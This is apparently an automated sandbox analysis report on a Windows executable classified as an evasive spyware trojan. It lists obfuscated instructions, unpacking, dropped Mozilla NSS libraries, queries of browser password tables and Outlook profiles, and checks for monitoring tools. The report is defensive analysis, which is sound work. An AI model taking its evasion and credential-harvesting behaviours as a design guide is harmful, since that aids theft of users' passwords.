Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EB3844	1_2_00EB3844
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00F7F9F5	1_2_00F7F9F5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBA144	1_2_00EBA144
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EB1A89	1_2_00EB1A89
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EB7CA0	1_2_00EB7CA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EAA456	1_2_00EAA456
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EC0D61	1_2_00EC0D61
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E7DE8A	1_2_00E7DE8A
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EB8634	1_2_00EB8634
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EAAE04	1_2_00EAAE04
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EAFFC6	1_2_00EAFFC6
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E62786	1_2_00E62786
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00D8E71E	1_2_00D8E71E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAA35A0	1_2_6CAA35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB034A0	1_2_6CB034A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB0C4A0	1_2_6CB0C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAB6C80	1_2_6CAB6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAAD4E0	1_2_6CAAD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE6CF0	1_2_6CAE6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAB64C0	1_2_6CAB64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CACD4D0	1_2_6CACD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB1542B	1_2_6CB1542B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB1AC00	1_2_6CB1AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE5C10	1_2_6CAE5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF2C10	1_2_6CAF2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAB5440	1_2_6CAB5440
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB1545C	1_2_6CB1545C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB085F0	1_2_6CB085F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE0DD0	1_2_6CAE0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CABFD00	1_2_6CABFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CACED10	1_2_6CACED10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD0512	1_2_6CAD0512
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB04EA0	1_2_6CB04EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB0E680	1_2_6CB0E680
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAC5E90	1_2_6CAC5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB176E3	1_2_6CB176E3
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAABEF0	1_2_6CAABEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CABFEF0	1_2_6CABFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB09E30	1_2_6CB09E30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF5600	1_2_6CAF5600
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE7E10	1_2_6CAE7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB16E63	1_2_6CB16E63
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAAC670	1_2_6CAAC670
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF2E4E	1_2_6CAF2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAC4640	1_2_6CAC4640
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAC9E50	1_2_6CAC9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE3E50	1_2_6CAE3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF77A0	1_2_6CAF77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAADFE0	1_2_6CAADFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD6FF0	1_2_6CAD6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAB9F00	1_2_6CAB9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE7710	1_2_6CAE7710
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD60A0	1_2_6CAD60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CACC0E0	1_2_6CACC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE58E0	1_2_6CAE58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB150C7	1_2_6CB150C7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAEB820	1_2_6CAEB820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF4820	1_2_6CAF4820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAB7810	1_2_6CAB7810
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAEF070	1_2_6CAEF070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAC8850	1_2_6CAC8850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CACD850	1_2_6CACD850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAAC9A0	1_2_6CAAC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADD9B0	1_2_6CADD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB02990	1_2_6CB02990
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE5190	1_2_6CAE5190
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB1B170	1_2_6CB1B170
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CABD960	1_2_6CABD960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFB970	1_2_6CAFB970
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CACA940	1_2_6CACA940
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB12AB0	1_2_6CB12AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAA22A0	1_2_6CAA22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD4AA0	1_2_6CAD4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CABCAB0	1_2_6CABCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB1BA90	1_2_6CB1BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAC1AF0	1_2_6CAC1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAEE2F0	1_2_6CAEE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE8AC0	1_2_6CAE8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE9A60	1_2_6CAE9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAAF380	1_2_6CAAF380
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB153C8	1_2_6CB153C8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAED320	1_2_6CAED320
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CABC370	1_2_6CABC370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAA5340	1_2_6CAA5340

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CADCBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CAE94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00AF45C0 appears 316 times

Source: file.exe, 00000001.00000002.2409598482.000000006CD25000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: xposepnz ZLIB complexity 0.9949511177218114

Source: file.exe, 00000001.00000003.2149042786.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CB07030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6CB07030

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00B08680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

1_2_00B08680

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00B03720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

1_2_00B03720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\56ZZF6W5.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000001.00000002.2408729413.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2397845122.000000001D353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2409463027.000000006CCDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000001.00000002.2408729413.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2397845122.000000001D353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2409463027.000000006CCDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000001.00000002.2408729413.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2397845122.000000001D353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2409463027.000000006CCDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000001.00000002.2408729413.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2397845122.000000001D353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2409463027.000000006CCDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000001.00000002.2408729413.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2397845122.000000001D353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2409463027.000000006CCDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000001.00000002.2408729413.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2397845122.000000001D353000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000001.00000002.2408729413.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2397845122.000000001D353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2409463027.000000006CCDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000001.00000003.2245883391.000000001D258000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2264332795.000000001D273000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2246197895.0000000000805000.00000004.00000020.00020000.00000000.sdmp, GDBAKKKFBGDHJKFHJJJJ.1.dr, DHJECFCGHIDGHIDHDHIE.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000001.00000002.2408729413.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2397845122.000000001D353000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000001.00000002.2408729413.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2397845122.000000001D353000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1818624 > 1048576

Source: file.exe

Static PE information: Raw size of xposepnz is bigger than: 0x100000 < 0x195c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.2409463027.000000006CCDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.2409463027.000000006CCDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 1.2.file.exe.af0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xposepnz:EW;bkobembs:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xposepnz:EW;bkobembs:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00B09860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00B09860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1bc455 should be: 0x1c370c

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: xposepnz
Source: file.exe	Static PE information: section name: bkobembs
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00F390FB push 0D7AB7DEh; mov dword ptr [esp], ebp	1_2_00F39117
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00F3F0E0 push 0C251243h; mov dword ptr [esp], edi	1_2_00F3F108
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00F3F0E0 push 30902B2Ch; mov dword ptr [esp], eax	1_2_00F3F12D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00F3F8D6 push esi; mov dword ptr [esp], esp	1_2_00F3F931
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00F3F8D6 push 5108A024h; mov dword ptr [esp], edi	1_2_00F3F961
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00F3F8D6 push 53702769h; mov dword ptr [esp], ecx	1_2_00F3FA0F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00DFB0E7 push esi; mov dword ptr [esp], edi	1_2_00DFB147
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00DFB0E7 push 0D7C2BD7h; mov dword ptr [esp], esi	1_2_00DFB180
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EE88AD push 52B6854Ah; mov dword ptr [esp], edx	1_2_00EE8937
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EE88AD push 68DE900Dh; mov dword ptr [esp], esp	1_2_00EE89C7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00F640A6 push eax; mov dword ptr [esp], edi	1_2_00F640EC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00B0B035 push ecx; ret	1_2_00B0B048
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push 5A5C26BFh; mov dword ptr [esp], eax	1_2_00EBD8DA
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push 78029A72h; mov dword ptr [esp], edx	1_2_00EBD8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push 19A5D79Bh; mov dword ptr [esp], edx	1_2_00EBD95B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push eax; mov dword ptr [esp], esi	1_2_00EBD9EA
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push eax; mov dword ptr [esp], 5FBF5F13h	1_2_00EBDA1B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push edi; mov dword ptr [esp], eax	1_2_00EBDA2E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push esi; mov dword ptr [esp], ecx	1_2_00EBDA41
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push eax; mov dword ptr [esp], ebp	1_2_00EBDA5B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push esi; mov dword ptr [esp], 00000000h	1_2_00EBDAC2
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push ebx; mov dword ptr [esp], 48718576h	1_2_00EBDADF
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push 1620C9F2h; mov dword ptr [esp], edi	1_2_00EBDB35
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push 55AF186Ch; mov dword ptr [esp], edi	1_2_00EBDBA7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push eax; mov dword ptr [esp], ebp	1_2_00EBDC63
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push ebp; mov dword ptr [esp], ebx	1_2_00EBDC84
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push ecx; mov dword ptr [esp], edi	1_2_00EBDCEE
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push edx; mov dword ptr [esp], ecx	1_2_00EBDD07
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push eax; mov dword ptr [esp], 3FBA1F70h	1_2_00EBDD7E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push 3D62F7FFh; mov dword ptr [esp], edx	1_2_00EBDD98
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865 push eax; mov dword ptr [esp], ebp	1_2_00EBDDF8

Source: file.exe

Static PE information: section name: xposepnz entropy: 7.953764245926421

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
